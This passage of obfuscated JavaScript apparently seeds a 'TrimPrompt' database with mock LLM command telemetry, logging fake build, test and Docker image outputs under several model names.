a0_0x8777();}console['log']('Seeding\x20TrimPrompt\x20database\x20with\x20mock\x20LLM\x20command\x20telemetry...'),process[a0_0x33f03e(0x16d)]['TRIMPROMPT_MODEL']=a0_0x33f03e(0x170),tracker_1[a0_0x33f03e(0x179)][a0_0x33f03e(0x167)]('npm\x20run\x20build','Compilation\x20Output:\x0a'+a0_0x33f03e(0x173)+a0_0x33f03e(0x168)+a0_0x33f03e(0x166)['repeat'](0x190),a0_0x33f03e(0x15d),0x0),process[a0_0x33f03e(0x16d)][a0_0x33f03e(0x17a)]='gpt-4o',tracker_1[a0_0x33f03e(0x179)]['logExecution'](a0_0x33f03e(0x17f),a0_0x33f03e(0x181)+a0_0x33f03e(0x177)+a0_0x33f03e(0x17d)+a0_0x33f03e(0x169)[a0_0x33f03e(0x16c)](0x12c)+'All\x20303\x20tests\x20passed\x20in\x204.22s.',a0_0x33f03e(0x182),0x0),process[a0_0x33f03e(0x16d)]['TRIMPROMPT_MODEL']=a0_0x33f03e(0x161),tracker_1[a0_0x33f03e(0x179)][a0_0x33f03e(0x167)](a0_0x33f03e(0x171),a0_0x33f03e(0x160)+a0_0x33f03e(0x16a)+a0_0x33f03e(0x15e)+'Step\x203/10\x20:\x20RUN\x20npm\x20install\x0a'+'added\x201420\x20packages\x20in\x2014s\x0a'[a0_0x33f03e(0x16c)](0x3)+'Successfully\x20built\x20image.',a0_0x33f03e(0x15b),0x0),console[a0_0x33f03e(0x16f)](a0_0x33f03e(0x162));